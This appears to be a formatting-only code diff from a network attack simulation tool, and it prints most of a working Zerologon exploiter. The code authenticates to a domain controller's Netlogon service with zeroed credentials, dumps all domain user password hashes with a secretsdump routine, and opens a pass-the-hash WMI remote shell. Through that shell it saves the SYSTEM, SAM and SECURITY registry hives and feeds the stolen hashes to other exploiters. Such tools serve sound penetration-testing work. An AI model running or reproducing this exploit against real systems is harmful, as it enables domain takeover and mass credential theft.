result.ReturnValue,
|
result.ReturnValue,
|
||||||
cmdline,
|
cmdline,
|
||||||
)
|
)
|
||||||
success = False
|
success = False
|
||||||
|
|
||||||
|
|
|
@ -55,8 +55,8 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
else:
|
else:
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Exploit not attempted. Target is most likely patched, or an error was "
|
"Exploit not attempted. Target is most likely patched, or an error was "
|
||||||
"encountered."
|
"encountered."
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -133,8 +133,8 @@ class ZerologonExploiter(HostExploiter):
|
||||||
self.report_login_attempt(result=False, user=self.dc_name)
|
self.report_login_attempt(result=False, user=self.dc_name)
|
||||||
_exploited = False
|
_exploited = False
|
||||||
LOG.info(
|
LOG.info(
|
||||||
f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something "
|
f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something "
|
||||||
f"went wrong."
|
f"went wrong."
|
||||||
)
|
)
|
||||||
return _exploited
|
return _exploited
|
||||||
|
|
||||||
|
@ -197,14 +197,14 @@ class ZerologonExploiter(HostExploiter):
|
||||||
def get_all_user_creds(self) -> List[Tuple[str, Dict]]:
|
def get_all_user_creds(self) -> List[Tuple[str, Dict]]:
|
||||||
try:
|
try:
|
||||||
options = OptionsForSecretsdump(
|
options = OptionsForSecretsdump(
|
||||||
target=f"{self.dc_name}$@{self.dc_ip}",
|
target=f"{self.dc_name}$@{self.dc_ip}",
|
||||||
# format for DC account - "NetBIOSName$@0.0.0.0"
|
# format for DC account - "NetBIOSName$@0.0.0.0"
|
||||||
target_ip=self.dc_ip,
|
target_ip=self.dc_ip,
|
||||||
dc_ip=self.dc_ip,
|
dc_ip=self.dc_ip,
|
||||||
)
|
)
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(
|
dumped_secrets = self.get_dumped_secrets(
|
||||||
remote_name=self.dc_ip, username=f"{self.dc_name}$", options=options
|
remote_name=self.dc_ip, username=f"{self.dc_name}$", options=options
|
||||||
)
|
)
|
||||||
|
|
||||||
self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets)
|
self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets)
|
||||||
|
@ -214,28 +214,28 @@ class ZerologonExploiter(HostExploiter):
|
||||||
for user in self._extracted_creds.keys():
|
for user in self._extracted_creds.keys():
|
||||||
if user == admin: # most likely to work so try this first
|
if user == admin: # most likely to work so try this first
|
||||||
creds_to_use_for_getting_original_pwd_hashes.insert(
|
creds_to_use_for_getting_original_pwd_hashes.insert(
|
||||||
0, (user, self._extracted_creds[user])
|
0, (user, self._extracted_creds[user])
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
creds_to_use_for_getting_original_pwd_hashes.append(
|
creds_to_use_for_getting_original_pwd_hashes.append(
|
||||||
(user, self._extracted_creds[user])
|
(user, self._extracted_creds[user])
|
||||||
)
|
)
|
||||||
|
|
||||||
return creds_to_use_for_getting_original_pwd_hashes
|
return creds_to_use_for_getting_original_pwd_hashes
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(
|
LOG.info(
|
||||||
f"Exception occurred while dumping secrets to get some username and its "
|
f"Exception occurred while dumping secrets to get some username and its "
|
||||||
f"password's NT hash: {str(e)}"
|
f"password's NT hash: {str(e)}"
|
||||||
)
|
)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def get_dumped_secrets(
|
def get_dumped_secrets(
|
||||||
self,
|
self,
|
||||||
remote_name: str = "",
|
remote_name: str = "",
|
||||||
username: str = "",
|
username: str = "",
|
||||||
options: Optional[object] = None,
|
options: Optional[object] = None,
|
||||||
) -> List[str]:
|
) -> List[str]:
|
||||||
dumper = DumpSecrets(remote_name=remote_name, username=username, options=options)
|
dumper = DumpSecrets(remote_name=remote_name, username=username, options=options)
|
||||||
dumped_secrets = dumper.dump().split("\n")
|
dumped_secrets = dumper.dump().split("\n")
|
||||||
|
@ -253,34 +253,34 @@ class ZerologonExploiter(HostExploiter):
|
||||||
user_RID, lmhash, nthash = parts_of_secret[1:4]
|
user_RID, lmhash, nthash = parts_of_secret[1:4]
|
||||||
|
|
||||||
self._extracted_creds[user] = {
|
self._extracted_creds[user] = {
|
||||||
"RID":int(user_RID), # relative identifier
|
"RID": int(user_RID), # relative identifier
|
||||||
"lm_hash":lmhash,
|
"lm_hash": lmhash,
|
||||||
"nt_hash":nthash,
|
"nt_hash": nthash,
|
||||||
}
|
}
|
||||||
|
|
||||||
def store_extracted_creds_for_exploitation(self) -> None:
|
def store_extracted_creds_for_exploitation(self) -> None:
|
||||||
for user in self._extracted_creds.keys():
|
for user in self._extracted_creds.keys():
|
||||||
self.add_extracted_creds_to_exploit_info(
|
self.add_extracted_creds_to_exploit_info(
|
||||||
user,
|
user,
|
||||||
self._extracted_creds[user]["lm_hash"],
|
self._extracted_creds[user]["lm_hash"],
|
||||||
self._extracted_creds[user]["nt_hash"],
|
self._extracted_creds[user]["nt_hash"],
|
||||||
)
|
)
|
||||||
self.add_extracted_creds_to_monkey_config(
|
self.add_extracted_creds_to_monkey_config(
|
||||||
user,
|
user,
|
||||||
self._extracted_creds[user]["lm_hash"],
|
self._extracted_creds[user]["lm_hash"],
|
||||||
self._extracted_creds[user]["nt_hash"],
|
self._extracted_creds[user]["nt_hash"],
|
||||||
)
|
)
|
||||||
|
|
||||||
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
|
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
|
||||||
self.exploit_info["credentials"].update(
|
self.exploit_info["credentials"].update(
|
||||||
{
|
{
|
||||||
user:{
|
user: {
|
||||||
"username":user,
|
"username": user,
|
||||||
"password":"",
|
"password": "",
|
||||||
"lm_hash":lmhash,
|
"lm_hash": lmhash,
|
||||||
"ntlm_hash":nthash,
|
"ntlm_hash": nthash,
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
# so other exploiters can use these creds
|
# so other exploiters can use these creds
|
||||||
|
@ -300,11 +300,11 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
options = OptionsForSecretsdump(
|
options = OptionsForSecretsdump(
|
||||||
dc_ip=self.dc_ip,
|
dc_ip=self.dc_ip,
|
||||||
just_dc=False,
|
just_dc=False,
|
||||||
system=os.path.join(os.path.expanduser("~"), "monkey-system.save"),
|
system=os.path.join(os.path.expanduser("~"), "monkey-system.save"),
|
||||||
sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"),
|
sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"),
|
||||||
security=os.path.join(os.path.expanduser("~"), "monkey-security.save"),
|
security=os.path.join(os.path.expanduser("~"), "monkey-security.save"),
|
||||||
)
|
)
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options)
|
dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options)
|
||||||
|
@ -315,8 +315,8 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(
|
LOG.info(
|
||||||
f"Exception occurred while dumping secrets to get original DC password's NT "
|
f"Exception occurred while dumping secrets to get original DC password's NT "
|
||||||
f"hash: {str(e)}"
|
f"hash: {str(e)}"
|
||||||
)
|
)
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
|
@ -324,15 +324,14 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool:
|
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool:
|
||||||
LOG.info(
|
LOG.info(
|
||||||
f"Starting remote shell on victim with credentials:\n"
|
f"Starting remote shell on victim with credentials:\n"
|
||||||
f"user: {username}\n"
|
f"user: {username}\n"
|
||||||
f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : "
|
f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : "
|
||||||
f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}"
|
f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}"
|
||||||
)
|
)
|
||||||
|
|
||||||
wmiexec = Wmiexec(
|
wmiexec = Wmiexec(
|
||||||
ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes),
|
ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes), domain=self.dc_ip
|
||||||
domain=self.dc_ip
|
|
||||||
)
|
)
|
||||||
|
|
||||||
remote_shell = wmiexec.get_remote_shell()
|
remote_shell = wmiexec.get_remote_shell()
|
||||||
|
@ -341,9 +340,9 @@ class ZerologonExploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
# Save HKLM keys on victim.
|
# Save HKLM keys on victim.
|
||||||
remote_shell.onecmd(
|
remote_shell.onecmd(
|
||||||
"reg save HKLM\\SYSTEM system.save && "
|
"reg save HKLM\\SYSTEM system.save && "
|
||||||
+ "reg save HKLM\\SAM sam.save && "
|
+ "reg save HKLM\\SAM sam.save && "
|
||||||
+ "reg save HKLM\\SECURITY security.save"
|
+ "reg save HKLM\\SECURITY security.save"
|
||||||
)
|
)
|
||||||
|
|
||||||
# Get HKLM keys locally (can't run these together because it needs to call
|
# Get HKLM keys locally (can't run these together because it needs to call
|
||||||
|
@ -390,7 +389,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def try_restoration_attempt(
|
def try_restoration_attempt(
|
||||||
self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
|
self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
|
||||||
) -> Optional[object]:
|
) -> Optional[object]:
|
||||||
try:
|
try:
|
||||||
restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash)
|
restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash)
|
||||||
|
@ -406,7 +405,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def attempt_restoration(
|
def attempt_restoration(
|
||||||
self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
|
self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
|
||||||
) -> Optional[object]:
|
) -> Optional[object]:
|
||||||
plaintext = b"\x00" * 8
|
plaintext = b"\x00" * 8
|
||||||
ciphertext = b"\x00" * 8
|
ciphertext = b"\x00" * 8
|
||||||
|
@ -414,26 +413,26 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
# Send challenge and authentication request.
|
# Send challenge and authentication request.
|
||||||
server_challenge_response = nrpc.hNetrServerReqChallenge(
|
server_challenge_response = nrpc.hNetrServerReqChallenge(
|
||||||
rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext
|
rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext
|
||||||
)
|
)
|
||||||
server_challenge = server_challenge_response["ServerChallenge"]
|
server_challenge = server_challenge_response["ServerChallenge"]
|
||||||
|
|
||||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||||
rpc_con,
|
rpc_con,
|
||||||
self.dc_handle + "\x00",
|
self.dc_handle + "\x00",
|
||||||
self.dc_name + "$\x00",
|
self.dc_name + "$\x00",
|
||||||
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||||
self.dc_name + "\x00",
|
self.dc_name + "\x00",
|
||||||
ciphertext,
|
ciphertext,
|
||||||
flags,
|
flags,
|
||||||
)
|
)
|
||||||
|
|
||||||
assert server_auth["ErrorCode"] == 0
|
assert server_auth["ErrorCode"] == 0
|
||||||
session_key = nrpc.ComputeSessionKeyAES(
|
session_key = nrpc.ComputeSessionKeyAES(
|
||||||
None,
|
None,
|
||||||
b"\x00" * 8,
|
b"\x00" * 8,
|
||||||
server_challenge,
|
server_challenge,
|
||||||
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"),
|
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"),
|
||||||
)
|
)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -444,7 +443,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
ZerologonExploiter._set_up_request(request, self.dc_name)
|
ZerologonExploiter._set_up_request(request, self.dc_name)
|
||||||
request["PrimaryName"] = NULL
|
request["PrimaryName"] = NULL
|
||||||
pwd_data = impacket.crypto.SamEncryptNTLMHash(
|
pwd_data = impacket.crypto.SamEncryptNTLMHash(
|
||||||
unhexlify(original_pwd_nthash), session_key
|
unhexlify(original_pwd_nthash), session_key
|
||||||
)
|
)
|
||||||
request["UasNewPassword"] = pwd_data
|
request["UasNewPassword"] = pwd_data
|
||||||
|
|
||||||
|
|
|
@ -98,11 +98,11 @@ class DumpSecrets:
|
||||||
def connect(self):
|
def connect(self):
|
||||||
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
|
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
|
||||||
self.__smb_connection.login(
|
self.__smb_connection.login(
|
||||||
self.__username,
|
self.__username,
|
||||||
self.__password,
|
self.__password,
|
||||||
self.__domain,
|
self.__domain,
|
||||||
self.__lmhash,
|
self.__lmhash,
|
||||||
self.__nthash,
|
self.__nthash,
|
||||||
)
|
)
|
||||||
|
|
||||||
def dump(self): # noqa: C901
|
def dump(self): # noqa: C901
|
||||||
|
@ -138,20 +138,20 @@ class DumpSecrets:
|
||||||
# cached and that they
|
# cached and that they
|
||||||
# will work
|
# will work
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"SMBConnection didn't work, hoping Kerberos will help (%s)"
|
"SMBConnection didn't work, hoping Kerberos will help (%s)"
|
||||||
% str(e)
|
% str(e)
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
raise
|
raise
|
||||||
|
|
||||||
self.__remote_ops = RemoteOperations(
|
self.__remote_ops = RemoteOperations(
|
||||||
self.__smb_connection, self.__do_kerberos, self.__kdc_host
|
self.__smb_connection, self.__do_kerberos, self.__kdc_host
|
||||||
)
|
)
|
||||||
self.__remote_ops.setExecMethod(self.__options.exec_method)
|
self.__remote_ops.setExecMethod(self.__options.exec_method)
|
||||||
if (
|
if (
|
||||||
self.__just_DC is False
|
self.__just_DC is False
|
||||||
and self.__just_DC_NTLM is False
|
and self.__just_DC_NTLM is False
|
||||||
or self.__use_VSS_method is True
|
or self.__use_VSS_method is True
|
||||||
):
|
):
|
||||||
self.__remote_ops.enableRegistry()
|
self.__remote_ops.enableRegistry()
|
||||||
bootkey = self.__remote_ops.getBootKey()
|
bootkey = self.__remote_ops.getBootKey()
|
||||||
|
@ -160,26 +160,26 @@ class DumpSecrets:
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
self.__can_process_SAM_LSA = False
|
self.__can_process_SAM_LSA = False
|
||||||
if (
|
if (
|
||||||
str(e).find("STATUS_USER_SESSION_DELETED")
|
str(e).find("STATUS_USER_SESSION_DELETED")
|
||||||
and os.getenv("KRB5CCNAME") is not None
|
and os.getenv("KRB5CCNAME") is not None
|
||||||
and self.__do_kerberos is True
|
and self.__do_kerberos is True
|
||||||
):
|
):
|
||||||
# Giving some hints here when SPN target name validation is set to
|
# Giving some hints here when SPN target name validation is set to
|
||||||
# something different to Off.
|
# something different to Off.
|
||||||
# This will prevent establishing SMB connections using TGS for SPNs
|
# This will prevent establishing SMB connections using TGS for SPNs
|
||||||
# different to cifs/.
|
# different to cifs/.
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Policy SPN target name validation might be restricting full "
|
"Policy SPN target name validation might be restricting full "
|
||||||
"DRSUAPI dump." + "Try -just-dc-user"
|
"DRSUAPI dump." + "Try -just-dc-user"
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
LOG.error("RemoteOperations failed: %s" % str(e))
|
LOG.error("RemoteOperations failed: %s" % str(e))
|
||||||
|
|
||||||
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
||||||
if (
|
if (
|
||||||
self.__just_DC is False
|
self.__just_DC is False
|
||||||
and self.__just_DC_NTLM is False
|
and self.__just_DC_NTLM is False
|
||||||
and self.__can_process_SAM_LSA
|
and self.__can_process_SAM_LSA
|
||||||
):
|
):
|
||||||
try:
|
try:
|
||||||
if self.__is_remote is True:
|
if self.__is_remote is True:
|
||||||
|
@ -188,7 +188,7 @@ class DumpSecrets:
|
||||||
SAM_file_name = self.__sam_hive
|
SAM_file_name = self.__sam_hive
|
||||||
|
|
||||||
self.__SAM_hashes = SAMHashes(
|
self.__SAM_hashes = SAMHashes(
|
||||||
SAM_file_name, bootkey, isRemote=self.__is_remote
|
SAM_file_name, bootkey, isRemote=self.__is_remote
|
||||||
)
|
)
|
||||||
self.__SAM_hashes.dump()
|
self.__SAM_hashes.dump()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
@ -201,10 +201,10 @@ class DumpSecrets:
|
||||||
SECURITY_file_name = self.__security_hive
|
SECURITY_file_name = self.__security_hive
|
||||||
|
|
||||||
self.__LSA_secrets = LSASecrets(
|
self.__LSA_secrets = LSASecrets(
|
||||||
SECURITY_file_name,
|
SECURITY_file_name,
|
||||||
bootkey,
|
bootkey,
|
||||||
self.__remote_ops,
|
self.__remote_ops,
|
||||||
isRemote=self.__is_remote,
|
isRemote=self.__is_remote,
|
||||||
)
|
)
|
||||||
self.__LSA_secrets.dumpCachedHashes()
|
self.__LSA_secrets.dumpCachedHashes()
|
||||||
self.__LSA_secrets.dumpSecrets()
|
self.__LSA_secrets.dumpSecrets()
|
||||||
|
@ -223,13 +223,13 @@ class DumpSecrets:
|
||||||
NTDS_file_name = self.__ntds_file
|
NTDS_file_name = self.__ntds_file
|
||||||
|
|
||||||
self.__NTDS_hashes = NTDSHashes(
|
self.__NTDS_hashes = NTDSHashes(
|
||||||
NTDS_file_name,
|
NTDS_file_name,
|
||||||
bootkey,
|
bootkey,
|
||||||
isRemote=self.__is_remote,
|
isRemote=self.__is_remote,
|
||||||
noLMHash=self.__no_lmhash,
|
noLMHash=self.__no_lmhash,
|
||||||
remoteOps=self.__remote_ops,
|
remoteOps=self.__remote_ops,
|
||||||
useVSSMethod=self.__use_VSS_method,
|
useVSSMethod=self.__use_VSS_method,
|
||||||
justNTLM=self.__just_DC_NTLM,
|
justNTLM=self.__just_DC_NTLM,
|
||||||
)
|
)
|
||||||
try:
|
try:
|
||||||
self.__NTDS_hashes.dump()
|
self.__NTDS_hashes.dump()
|
||||||
|
@ -245,8 +245,8 @@ class DumpSecrets:
|
||||||
LOG.error(e)
|
LOG.error(e)
|
||||||
if self.__use_VSS_method is False:
|
if self.__use_VSS_method is False:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Something wen't wrong with the DRSUAPI approach. Try again with "
|
"Something wen't wrong with the DRSUAPI approach. Try again with "
|
||||||
"-use-vss parameter"
|
"-use-vss parameter"
|
||||||
)
|
)
|
||||||
self.cleanup()
|
self.cleanup()
|
||||||
except (Exception, KeyboardInterrupt) as e:
|
except (Exception, KeyboardInterrupt) as e:
|
||||||
|
|
|
@ -26,14 +26,14 @@ class OptionsForSecretsdump:
|
||||||
use_vss = False
|
use_vss = False
|
||||||
|
|
||||||
def __init__(
|
def __init__(
|
||||||
self,
|
self,
|
||||||
dc_ip=None,
|
dc_ip=None,
|
||||||
just_dc=True,
|
just_dc=True,
|
||||||
sam=None,
|
sam=None,
|
||||||
security=None,
|
security=None,
|
||||||
system=None,
|
system=None,
|
||||||
target=None,
|
target=None,
|
||||||
target_ip=None,
|
target_ip=None,
|
||||||
):
|
):
|
||||||
# dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in
|
# dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in
|
||||||
# ../zerologon.py
|
# ../zerologon.py
|
||||||
|
|
|
@ -134,11 +134,11 @@ class RemoteShell(cmd.Cmd):
|
||||||
self.__outputBuffer += data.decode(self.CODEC)
|
self.__outputBuffer += data.decode(self.CODEC)
|
||||||
except UnicodeDecodeError:
|
except UnicodeDecodeError:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Decoding error detected, consider running chcp.com at the target,"
|
"Decoding error detected, consider running chcp.com at the target,"
|
||||||
"\nmap the result with "
|
"\nmap the result with "
|
||||||
"https://docs.python.org/3/library/codecs.html#standard-encodings\nand "
|
"https://docs.python.org/3/library/codecs.html#standard-encodings\nand "
|
||||||
"then execute wmiexec.py "
|
"then execute wmiexec.py "
|
||||||
"again with -codec and the corresponding codec"
|
"again with -codec and the corresponding codec"
|
||||||
)
|
)
|
||||||
self.__outputBuffer += data.decode(self.CODEC, errors="replace")
|
self.__outputBuffer += data.decode(self.CODEC, errors="replace")
|
||||||
|
|
||||||
|
|
|
@ -23,14 +23,14 @@ def _get_dc_name(dc_ip: str) -> str:
|
||||||
"""
|
"""
|
||||||
nb = nmb.NetBIOS.NetBIOS()
|
nb = nmb.NetBIOS.NetBIOS()
|
||||||
name = nb.queryIPForName(
|
name = nb.queryIPForName(
|
||||||
ip=dc_ip, timeout=MEDIUM_REQUEST_TIMEOUT
|
ip=dc_ip, timeout=MEDIUM_REQUEST_TIMEOUT
|
||||||
) # returns either a list of NetBIOS names or None
|
) # returns either a list of NetBIOS names or None
|
||||||
|
|
||||||
if name:
|
if name:
|
||||||
return name[0]
|
return name[0]
|
||||||
else:
|
else:
|
||||||
raise DomainControllerNameFetchError(
|
raise DomainControllerNameFetchError(
|
||||||
"Couldn't get domain controller's name, maybe it's on external network?"
|
"Couldn't get domain controller's name, maybe it's on external network?"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@ -62,21 +62,21 @@ def _try_zero_authenticate(zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5)
|
||||||
|
|
||||||
# Send challenge and authentication request.
|
# Send challenge and authentication request.
|
||||||
nrpc.hNetrServerReqChallenge(
|
nrpc.hNetrServerReqChallenge(
|
||||||
rpc_con,
|
rpc_con,
|
||||||
zerologon_exploiter_object.dc_handle + "\x00",
|
zerologon_exploiter_object.dc_handle + "\x00",
|
||||||
zerologon_exploiter_object.dc_name + "\x00",
|
zerologon_exploiter_object.dc_name + "\x00",
|
||||||
plaintext,
|
plaintext,
|
||||||
)
|
)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||||
rpc_con,
|
rpc_con,
|
||||||
zerologon_exploiter_object.dc_handle + "\x00",
|
zerologon_exploiter_object.dc_handle + "\x00",
|
||||||
zerologon_exploiter_object.dc_name + "$\x00",
|
zerologon_exploiter_object.dc_name + "$\x00",
|
||||||
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||||
zerologon_exploiter_object.dc_name + "\x00",
|
zerologon_exploiter_object.dc_name + "\x00",
|
||||||
ciphertext,
|
ciphertext,
|
||||||
flags,
|
flags,
|
||||||
)
|
)
|
||||||
|
|
||||||
assert server_auth["ErrorCode"] == 0
|
assert server_auth["ErrorCode"] == 0
|
||||||
|
@ -84,7 +84,7 @@ def _try_zero_authenticate(zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5)
|
||||||
|
|
||||||
except nrpc.DCERPCSessionError as ex:
|
except nrpc.DCERPCSessionError as ex:
|
||||||
if (
|
if (
|
||||||
ex.get_error_code() == 0xC0000022
|
ex.get_error_code() == 0xC0000022
|
||||||
): # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
|
): # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
|
||||||
pass
|
pass
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -73,26 +73,26 @@ class Wmiexec:
|
||||||
def connect(self):
|
def connect(self):
|
||||||
self.smbConnection = SMBConnection(self.__ip, self.__ip)
|
self.smbConnection = SMBConnection(self.__ip, self.__ip)
|
||||||
self.smbConnection.login(
|
self.smbConnection.login(
|
||||||
user=self.__username,
|
user=self.__username,
|
||||||
password=self.__password,
|
password=self.__password,
|
||||||
domain=self.__domain,
|
domain=self.__domain,
|
||||||
lmhash=self.__lmhash,
|
lmhash=self.__lmhash,
|
||||||
nthash=self.__nthash,
|
nthash=self.__nthash,
|
||||||
)
|
)
|
||||||
|
|
||||||
self.dcom = DCOMConnection(
|
self.dcom = DCOMConnection(
|
||||||
target=self.__ip,
|
target=self.__ip,
|
||||||
username=self.__username,
|
username=self.__username,
|
||||||
password=self.__password,
|
password=self.__password,
|
||||||
domain=self.__domain,
|
domain=self.__domain,
|
||||||
lmhash=self.__lmhash,
|
lmhash=self.__lmhash,
|
||||||
nthash=self.__nthash,
|
nthash=self.__nthash,
|
||||||
oxidResolver=True,
|
oxidResolver=True,
|
||||||
)
|
)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
iInterface = self.dcom.CoCreateInstanceEx(
|
iInterface = self.dcom.CoCreateInstanceEx(
|
||||||
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
|
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
|
||||||
)
|
)
|
||||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||||
self.iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
self.iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
||||||
|
@ -107,7 +107,7 @@ class Wmiexec:
|
||||||
self.connect()
|
self.connect()
|
||||||
win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
|
win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
|
||||||
self.shell = RemoteShell(
|
self.shell = RemoteShell(
|
||||||
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME
|
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME
|
||||||
)
|
)
|
||||||
return self.shell
|
return self.shell
|
||||||
|
|
||||||
|
|
|
@ -22,24 +22,24 @@ __author__ = "itamar"
|
||||||
LOG = None
|
LOG = None
|
||||||
|
|
||||||
LOG_CONFIG = {
|
LOG_CONFIG = {
|
||||||
"version":1,
|
"version": 1,
|
||||||
"disable_existing_loggers":False,
|
"disable_existing_loggers": False,
|
||||||
"formatters":{
|
"formatters": {
|
||||||
"standard":{
|
"standard": {
|
||||||
"format":"%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%("
|
"format": "%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%("
|
||||||
"funcName)s.%(lineno)d: %(message)s"
|
"funcName)s.%(lineno)d: %(message)s"
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"handlers":{
|
"handlers": {
|
||||||
"console":{"class":"logging.StreamHandler", "level":"DEBUG", "formatter":"standard"},
|
"console": {"class": "logging.StreamHandler", "level": "DEBUG", "formatter": "standard"},
|
||||||
"file":{
|
"file": {
|
||||||
"class":"logging.FileHandler",
|
"class": "logging.FileHandler",
|
||||||
"level":"DEBUG",
|
"level": "DEBUG",
|
||||||
"formatter":"standard",
|
"formatter": "standard",
|
||||||
"filename":None,
|
"filename": None,
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"root":{"level":"DEBUG", "handlers":["console"]},
|
"root": {"level": "DEBUG", "handlers": ["console"]},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@ -72,13 +72,13 @@ def main():
|
||||||
print("Error loading config: %s, using default" % (e,))
|
print("Error loading config: %s, using default" % (e,))
|
||||||
else:
|
else:
|
||||||
print(
|
print(
|
||||||
"Config file wasn't supplied and default path: %s wasn't found, using internal "
|
"Config file wasn't supplied and default path: %s wasn't found, using internal "
|
||||||
"default" % (config_file,)
|
"default" % (config_file,)
|
||||||
)
|
)
|
||||||
|
|
||||||
print(
|
print(
|
||||||
"Loaded Configuration: %r"
|
"Loaded Configuration: %r"
|
||||||
% WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())
|
% WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())
|
||||||
)
|
)
|
||||||
|
|
||||||
# Make sure we're not in a machine that has the kill file
|
# Make sure we're not in a machine that has the kill file
|
||||||
|
@ -128,8 +128,7 @@ def main():
|
||||||
sys.excepthook = log_uncaught_exceptions
|
sys.excepthook = log_uncaught_exceptions
|
||||||
|
|
||||||
LOG.info(
|
LOG.info(
|
||||||
">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__,
|
">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__, os.getpid()
|
||||||
os.getpid()
|
|
||||||
)
|
)
|
||||||
|
|
||||||
LOG.info(f"version: {get_version()}")
|
LOG.info(f"version: {get_version()}")
|
||||||
|
@ -144,12 +143,12 @@ def main():
|
||||||
with open(config_file, "w") as config_fo:
|
with open(config_file, "w") as config_fo:
|
||||||
json_dict = WormConfiguration.as_dict()
|
json_dict = WormConfiguration.as_dict()
|
||||||
json.dump(
|
json.dump(
|
||||||
json_dict,
|
json_dict,
|
||||||
config_fo,
|
config_fo,
|
||||||
skipkeys=True,
|
skipkeys=True,
